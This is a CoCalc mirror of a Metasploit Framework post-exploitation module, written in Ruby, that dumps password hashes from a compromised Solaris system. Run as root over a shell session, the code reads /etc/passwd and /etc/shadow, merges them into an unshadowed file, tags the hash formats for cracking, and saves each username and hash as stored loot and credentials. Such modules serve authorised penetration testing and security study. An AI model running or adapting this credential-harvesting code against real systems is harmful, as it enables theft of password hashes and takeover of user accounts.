CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/solaris/gather/hashdump.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Solaris::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
15
'Description' => %q{
16
Post module to dump the password hashes for all users on a Solaris System
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
20
'Platform' => [ 'solaris' ],
21
'SessionTypes' => [ 'shell' ]
22
)
23
)
24
end
25
26
# Run Method for when run command is issued
27
def run
28
if is_root?
29
passwd_file = read_file('/etc/passwd')
30
shadow_file = read_file('/etc/shadow')
31
32
# Save in loot the passwd and shadow file
33
p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
34
p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
35
vprint_good("Shadow saved in: #{p1}")
36
vprint_good("passwd saved in: #{p2}")
37
38
# Unshadow the files
39
john_file = unshadow(passwd_file, shadow_file)
40
john_file.each_line do |l|
41
hash_parts = l.split(':')
42
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
43
if jtr_format.empty? # overide the default
44
jtr_format = 'des,bsdi,crypt'
45
end
46
credential_data = {
47
jtr_format: jtr_format,
48
origin_type: :session,
49
post_reference_name: refname,
50
private_type: :nonreplayable_hash,
51
private_data: hash_parts[1],
52
session_id: session_db_id,
53
username: hash_parts[0],
54
workspace_id: myworkspace_id
55
}
56
create_credential(credential_data)
57
print_good(l.chomp)
58
end
59
# Save pwd file
60
upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
61
print_good("Unshadowed Password File: #{upassf}")
62
63
else
64
print_error('You must run this module as root!')
65
end
66
end
67
68
def unshadow(pf, sf)
69
unshadowed = ''
70
sf.each_line do |sl|
71
pass = sl.scan(/^\w*:([^:]*)/).join
72
next unless pass !~ /^\*LK\*|^NP/
73
74
user = sl.scan(/(^\w*):/).join
75
pf.each_line do |pl|
76
if pl.match(/^#{user}:/)
77
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
78
end
79
end
80
end
81
return unshadowed
82
end
83
end
84
85